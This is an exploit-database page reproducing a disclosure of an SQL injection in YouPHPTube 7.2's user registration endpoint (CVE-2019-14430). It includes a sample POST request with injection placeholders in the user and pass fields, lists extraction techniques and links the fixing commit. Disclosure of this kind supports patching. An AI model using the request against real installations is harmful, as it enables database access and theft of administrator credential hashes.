Lucene search
+L

YouPHPTube 7.2 - userCreate.json.php SQL Injection

🗓️ 19 Aug 2019 00:00:00Reported by Fabian MoschType 
exploitpack
 exploitpack
👁 80 Views

YouPHPTube 7.2 SQL Injection in User Registration Functio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
YouPHPTube 7.2 - (userCreate.json.php) SQL Injection Vulnerability
19 Aug 201900:00
–zdt
bdu_fstec
BDU FSTEC
YouPHPTube AuditTable SQL Injection
23 Jun 202100:00
–bdu_fstec
cnvd
CNVD
YouPHPTube SQL Injection Vulnerability (CNVD-2019-41830)
19 Aug 201900:00
–cnvd
cve
CVE
CVE-2019-14430
20 Aug 201913:27
–cve
cvelist
Cvelist
CVE-2019-14430
20 Aug 201913:27
–cvelist
exploitdb
Exploit DB
YouPHPTube 7.2 - 'userCreate.json.php' SQL Injection
19 Aug 201900:00
–exploitdb
euvd
EUVD
EUVD-2019-5629
7 Oct 202500:30
–euvd
mend
Mend
CVE-2019-14430
20 Aug 201913:27
–mend
nvd
NVD
CVE-2019-14430
20 Aug 201914:15
–nvd
packetstorm
Packet Storm
YouPHPTube 7.2 SQL Injection
19 Aug 201900:00
–packetstorm
Rows per page
# Exploit Title: YouPHPTube < 7.3 SQL Injection
# Google Dork: /
# Date: 19.08.2019
# Exploit Author: Fabian Mosch, r-tec IT Security GmbH
# Vendor Homepage: https://www.youphptube.com/
# Software Link: https://github.com/YouPHPTube/YouPHPTube
# Version: < 7.3
# Tested on: Linux/Windows
# CVE : CVE-2019-14430

The parameters "User" as well as "pass" of the user registration function are vulnerable to SQL injection vulnerabilities. By submitting an HTTP POST request to the URL "/objects/userCreate.json.php" an attacker can access the database and read the hashed credentials of an administrator for example.

Example Request:

POST /objects/userCreate.json.php HTTP/1.1
Host: vulnerablehost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
[SomeHeaders and Cookies]

user=tes'INJECTHERE&pass=test'INJECTHERE &email=test%40example.com&name=test&captcha=xxxxx

Methods for DB-Extraction are:


- Boolean-based blind

- Error-based

- AND/OR time-based blind


The vulnerability was fixed with this commit:
https://github.com/YouPHPTube/YouPHPTube/commit/891843d547f7db5639925a67b7f2fd66721f703a

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation